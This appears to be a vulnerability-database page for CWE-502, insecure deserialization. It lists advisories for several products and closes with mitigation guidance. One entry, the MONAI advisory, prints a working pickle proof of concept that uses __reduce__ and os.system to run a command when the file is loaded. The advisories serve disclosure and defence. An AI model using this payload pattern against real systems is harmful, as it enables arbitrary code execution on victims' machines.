CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
5352 vulnerabilities reference this CWE, most recent first.
GHSA-QW4P-9PRR-VCV7
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Unauthenticated PHP Object Injection in JetEngine <= 3.8.10 versions.
{
"affected": [],
"aliases": [
"CVE-2026-52706"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T13:20:49Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated PHP Object Injection in JetEngine \u003c= 3.8.10 versions.",
"id": "GHSA-qw4p-9prr-vcv7",
"modified": "2026-06-17T18:35:52Z",
"published": "2026-06-17T18:35:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52706"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/jet-engine/vulnerability/wordpress-jetengine-plugin-3-8-10-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QW5F-8JQW-9832
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-13 18:30The torch-checkpoint-shrink.py script in the ml-engineering project in commit 0099885db36a8f06556efe1faf552518852cb1e0 (2025-20-27) contains an insecure deserialization vulnerability (CWE-502). The script uses torch.load() to process PyTorch checkpoint files (.pt) without enabling the security-restrictive weights_only=True parameter. This oversight allows the deserialization of arbitrary Python objects via the pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution in the context of the user running the script.
{
"affected": [],
"aliases": [
"CVE-2026-31214"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T16:16:13Z",
"severity": "CRITICAL"
},
"details": "The torch-checkpoint-shrink.py script in the ml-engineering project in commit 0099885db36a8f06556efe1faf552518852cb1e0 (2025-20-27) contains an insecure deserialization vulnerability (CWE-502). The script uses torch.load() to process PyTorch checkpoint files (.pt) without enabling the security-restrictive weights_only=True parameter. This oversight allows the deserialization of arbitrary Python objects via the pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution in the context of the user running the script.",
"id": "GHSA-qw5f-8jqw-9832",
"modified": "2026-05-13T18:30:40Z",
"published": "2026-05-12T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31214"
},
{
"type": "WEB",
"url": "https://github.com/stas00/ml-engineering/blob/master/training/checkpoints/torch-checkpoint-shrink.py#L57"
},
{
"type": "WEB",
"url": "https://www.notion.so/CVE-2026-31214-35d1e1393188813fa40eef73c174cee5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QWGV-R6C4-XRJP
Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31Microsoft SharePoint Server Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-30044"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T17:17:16Z",
"severity": "HIGH"
},
"details": "Microsoft SharePoint Server Remote Code Execution Vulnerability",
"id": "GHSA-qwgv-r6c4-xrjp",
"modified": "2024-05-14T18:31:04Z",
"published": "2024-05-14T18:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30044"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30044"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QWM7-R3RV-3HW8
Vulnerability from github – Published: 2026-07-21 12:33 – Updated: 2026-07-21 21:32Deserialization of untrusted data vulnerability that may allow class-registration checks to be bypassed during Java lambda deserialization. Only lambda capture class is affected
This issue affects Apache Fory: from before 1.4.0.
Users are recommended to upgrade to version 1.4.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-64606"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T11:16:27Z",
"severity": "CRITICAL"
},
"details": "Deserialization of untrusted data vulnerability that may allow class-registration checks to be bypassed during Java lambda deserialization. Only lambda capture class is affected\n\n\nThis issue affects Apache Fory: from before 1.4.0.\n\nUsers are recommended to upgrade to version 1.4.0, which fixes the issue.",
"id": "GHSA-qwm7-r3rv-3hw8",
"modified": "2026-07-21T21:32:28Z",
"published": "2026-07-21T12:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64606"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/py6fbvm9nk1gxdd85rbzbozwzfh0jrsc"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/21/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QWP7-W63J-VXCR
Vulnerability from github – Published: 2025-05-19 21:30 – Updated: 2026-04-01 18:35Deserialization of Untrusted Data vulnerability in Elbisnero WordPress Events Calendar Registration & Tickets allows Object Injection.This issue affects WordPress Events Calendar Registration & Tickets: from n/a through 2.6.0.
{
"affected": [],
"aliases": [
"CVE-2025-47581"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-19T19:15:52Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in Elbisnero WordPress Events Calendar Registration \u0026 Tickets allows Object Injection.This issue affects WordPress Events Calendar Registration \u0026 Tickets: from n/a through 2.6.0.",
"id": "GHSA-qwp7-w63j-vxcr",
"modified": "2026-04-01T18:35:12Z",
"published": "2025-05-19T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47581"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wpeventplus/vulnerability/wordpress-wordpress-events-calendar-registration-tickets-plugin-2-6-0-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QX96-XFH6-P75H
Vulnerability from github – Published: 2024-04-04 03:31 – Updated: 2026-04-08 21:32The Modal Popup Box – Popup Builder, Show Offers And News in Popup plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.5.2 via deserialization of untrusted input in the awl_modal_popup_box_shortcode function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
{
"affected": [],
"aliases": [
"CVE-2024-2008"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-04T03:15:06Z",
"severity": "HIGH"
},
"details": "The Modal Popup Box \u2013 Popup Builder, Show Offers And News in Popup plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.5.2 via deserialization of untrusted input in the awl_modal_popup_box_shortcode function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
"id": "GHSA-qx96-xfh6-p75h",
"modified": "2026-04-08T21:32:25Z",
"published": "2024-04-04T03:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2008"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/modal-popup-box/trunk/include/modal-popup-box-shortcode.php#L19"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3062572%40modal-popup-box\u0026new=3062572%40modal-popup-box\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fca3d106-49df-49fc-a90d-e0cb26bd34b6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXF4-66FG-4H23
Vulnerability from github – Published: 2025-11-13 09:31 – Updated: 2025-11-13 09:31The AI Engine plugin for WordPress is vulnerable to PHP Object Injection via PHAR Deserialization in all versions up to, and including, 3.1.8 via deserialization of untrusted input in the 'rest_simpleTranscribeAudio' and 'rest_simpleVisionQuery' functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
{
"affected": [],
"aliases": [
"CVE-2025-12844"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-13T08:15:49Z",
"severity": "HIGH"
},
"details": "The AI Engine plugin for WordPress is vulnerable to PHP Object Injection via PHAR Deserialization in all versions up to, and including, 3.1.8 via deserialization of untrusted input in the \u0027rest_simpleTranscribeAudio\u0027 and \u0027rest_simpleVisionQuery\u0027 functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
"id": "GHSA-qxf4-66fg-4h23",
"modified": "2025-11-13T09:31:16Z",
"published": "2025-11-13T09:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12844"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/api.php#L799"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/engines/chatml.php#L960-L967"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/modules/files.php#L237"
},
{
"type": "WEB",
"url": "https://github.com/jordymeow/ai-engine/blob/main/classes/services/image.php#L43"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3392052"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c39c1b72-e3e0-44fb-8fb8-602cb0aa61e3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXF8-2P95-9HVV
Vulnerability from github – Published: 2026-09-18 21:32 – Updated: 2026-09-18 21:32IBM WebSphere Application Server 9.0 and 8.5 is affected by a deserialization vulnerability in the Name Service component.
{
"affected": [],
"aliases": [
"CVE-2026-11711"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-18T20:17:01Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Application Server 9.0 and 8.5 is affected by a deserialization vulnerability in the Name Service component.",
"id": "GHSA-qxf8-2p95-9hvv",
"modified": "2026-09-18T21:32:25Z",
"published": "2026-09-18T21:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11711"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7286610"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXQ5-QHX6-94QW
Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
## Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit: def reduce(self): return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:22:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n has not been modified since 2024-07-12 \u2014 18 months before v1.5.2 was released\n (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n never implemented.\n\n ## Vulnerable Code\n\n File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n ```python\n def algo_from_pickle(pkl_filename: str, ...):\n with open(pkl_filename, \"rb\") as f_pi:\n data_bytes = f_pi.read()\n data = pickle.loads(data_bytes) # SINK 1 \u2014 line 321, RCE fires here\n\n # isinstance/key checks happen AFTER deserialization \u2014 already too late\n\n algo_bytes = data.pop(\"algo_bytes\")\n ...\n if len(template_paths_candidates) == 0:\n algo = pickle.loads(algo_bytes) # SINK 2 \u2014 line 350\n else:\n for p in template_paths_candidates:\n algo = pickle.loads(algo_bytes) # SINK 3 \u2014 line 356\n\n No Unpickler subclass, no find_class restriction, no allowlist.\n\n Why the Fix is Incomplete\n\n - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n - v1.5.2 released: 2026-01-29 \u2014 release notes contain no pickle-related changes\n - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n PoC\n\n import pickle, os\n\n class Exploit:\n def __reduce__(self):\n return (os.system, (\u0027id \u003e /tmp/rce_proof.txt\u0027,))\n\n # Craft malicious pkl\n data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n with open(\"/tmp/evil.pkl\", \"wb\") as f:\n f.write(pickle.dumps(data))\n\n # Trigger \u2014 monai/auto3dseg/utils.py lines 319-350 verbatim\n with open(\"/tmp/evil.pkl\", \"rb\") as f:\n data = pickle.loads(f.read()) # SINK 1 fires \u2014 RCE here\n algo = pickle.loads(data[\"algo_bytes\"]) # SINK 2 fires\n\n print(open(\"/tmp/rce_proof.txt\").read())\n # uid=1000(user) gid=1000(user) groups=...\n\n Verified on monai v1.5.2 (utils.py verbatim source):\n [+] RCE CONFIRMED via algo_from_pickle():\n desktop-5657tb1\\woong\n\n Impact\n\n Any application or ML pipeline calling algo_from_pickle() with an\n attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n frequently exchange model checkpoints, making this a realistic attack vector.",
"id": "GHSA-qxq5-qhx6-94qw",
"modified": "2026-08-18T20:22:30Z",
"published": "2026-08-18T20:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-89gg-p5r5-q6r4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch"
}
GHSA-QXRP-VHVM-J765
Vulnerability from github – Published: 2024-11-23 03:31 – Updated: 2025-02-13 22:15Hugging Face Transformers MobileViTV2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the handling of configuration files. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-24322.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "transformers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.48.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-11392"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-11T15:04:55Z",
"nvd_published_at": "2024-11-22T22:15:06Z",
"severity": "HIGH"
},
"details": "Hugging Face Transformers MobileViTV2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the handling of configuration files. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-24322.",
"id": "GHSA-qxrp-vhvm-j765",
"modified": "2025-02-13T22:15:58Z",
"published": "2024-11-23T03:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11392"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/issues/34840"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/pull/35296"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/transformers"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/transformers/PYSEC-2024-227.yaml"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1513"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of Untrusted Data in Hugging Face Transformers"
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.